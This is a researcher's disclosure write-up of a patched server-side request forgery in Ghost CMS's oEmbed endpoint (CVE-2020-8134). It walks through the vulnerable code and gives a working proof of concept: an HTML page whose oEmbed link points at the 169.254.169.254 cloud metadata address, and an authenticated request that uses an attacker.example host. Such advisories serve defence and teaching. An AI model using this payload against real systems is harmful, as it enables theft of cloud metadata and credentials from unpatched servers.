SSRF in Ghost CMS via oEmbed (CVE-2020-8134)
How Ghost's embed-anything input let an authenticated publisher pivot the server into cloud metadata endpoints - and what the fix actually changed.
Ghost is the Node.js CMS behind a fair chunk of the internet’s blogs - Apple, OpenAI, Tinder, DigitalOcean, DuckDuckGo, Mozilla, Airtable. In early 2020 I found a Server-Side Request Forgery in Ghost 3.5.2 that let any authenticated staff user (Contributor and up) turn the blog into a proxy for requests to internal networks and cloud metadata APIs. It was fixed in 3.10.0, rated Medium (CVSS 8.1), and tracked as CVE-2020-8134.
SurfaceThe embed input
Ghost’s editor lets staff users embed content from YouTube, Twitter, Instagram, and so on. There’s also an “Other…” option that accepts an arbitrary URL.
Selecting “Other…” swaps the card for a plain URL input:
Under the hood, that URL is passed to the admin oEmbed route:
GET /ghost/api/v3/admin/oembed/?url=https://attacker.example/poc.html&type=embed
The url parameter is whatever the user typed. The first thing that happens is a check against a list of known providers. If the URL doesn’t match one, Ghost does the thing that makes oEmbed discovery work: it fetches the URL itself and looks for a <link rel="alternate" type="application/json+oembed"> tag pointing at the real oEmbed endpoint.
BugThe validation that wasn’t
The route lands in a thin query() wrapper in core/server/api/canary/oembed.js:
query({data}) {
let {url, type} = data;
if (type === 'bookmark') {
return fetchBookmarkData(url);
}
return fetchOembedData(url).then((response) => {
if (!response && !type) {
return fetchBookmarkData(url);
}
return response;
}).then((response) => {
if (!response) {
return unknownProvider(url);
}
return response;
}).catch(() => {
return unknownProvider(url);
});
}
Notice that when fetchOembedData resolves to undefined - which it does for any URL Ghost doesn’t recognise as a provider and doesn’t find an oEmbed <link> inside - the caller swallows it and returns a generic “unknown provider” error. That’s what makes the bug look inert at first glance: you get a validation error back, but the outbound GETs have already fired.
Here’s fetchOembedData itself:
function fetchOembedData(url) {
let provider;
({url, provider} = findUrlWithProvider(url));
if (provider) {
return knownProvider(url);
}
return request(url, {
method: 'GET',
timeout: 2 * 1000,
followRedirect: true,
headers: {
'user-agent': 'Ghost(https://github.com/TryGhost/Ghost)'
}
}).then((response) => {
if (response.url !== url) {
({url, provider} = findUrlWithProvider(response.url));
}
if (provider) {
return knownProvider(url);
}
const oembedUrl = getOembedUrlFromHTML(response.body);
if (oembedUrl) {
return request(oembedUrl, {
method: 'GET',
json: true
}).then((response) => {
return response.body;
}).catch(() => {});
}
});
}
And the extractor:
const getOembedUrlFromHTML = (html) => {
return cheerio('link[type="application/json+oembed"]', html).attr('href');
};
Two problems stacked on top of each other:
- The
urlthe user submits is passed straight intorequest(). No host allowlist, no check for private IPs, no scheme restriction.http://169.254.169.254/...is a valid argument - the server will issue the GET. On its own, though, the body doesn’t surface back to the caller: the response has to either match a known provider or contain an oEmbed<link>before anything gets returned, so a raw metadata URL here is a blind SSRF at best. - Whatever URL comes back out of the HTML’s
<link rel="alternate">tag is also passed torequest()with no validation, and that response body is returned verbatim. That’s the exploitable path: point the first hop at an attacker-controlled page, have that page advertise the real target as its oEmbed endpoint, and the second request does the work.
Point the url= parameter directly at 169.254.169.254/metadata/v1.json and the response looks like a flat rejection:
The bypass is to take the oEmbed-discovery path instead - point url= at an attacker-controlled HTML page, let Ghost parse an <link rel="alternate" type="application/json+oembed"> out of it, and the second request reaches the internal target and its body is returned verbatim.
ExploitReaching the metadata API
Host a page that advertises a malicious oEmbed endpoint:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="alternate" type="application/json+oembed"
href="http://169.254.169.254/metadata/v1.json"/>
</head>
<body></body>
</html>
Serve it on anything public - python -m SimpleHTTPServer 8000 plus ngrok is enough. Then, logged in as any staff user on the target Ghost instance, hit the admin oEmbed endpoint with that URL:
GET /ghost/api/v3/admin/oembed/?url=https://attacker.example/poc.html&type=embed HTTP/1.1
Host: target-ghost-blog.example
Cookie: ghost-admin-api-session=...
Ghost fetches the attacker page, parses it, sees the application/json+oembed link, and issues a second GET - this time to http://169.254.169.254/metadata/v1.json. The response body is the DigitalOcean droplet’s metadata, handed back in the HTTP response:
FixWhat shipped in 3.10.0
The fix commit is 47739396.
TimelineDisclosure
- 2020-02-11 - Reported to Node.js Ecosystem via HackerOne (#793704); Ghost Foundation notified directly the same day.
- 2020-02-16 - HackerOne triage confirmed the finding.
- 2020-02-18 - Kevin Ansfield (Ghost Foundation) posted the remediation plan on the report.
- 2020-03-03 - Patch ready, held in a private repo pending release.
- 2020-03-09 - Ghost 3.10.0 released with the fix; report disclosed; CVE-2020-8134 assigned.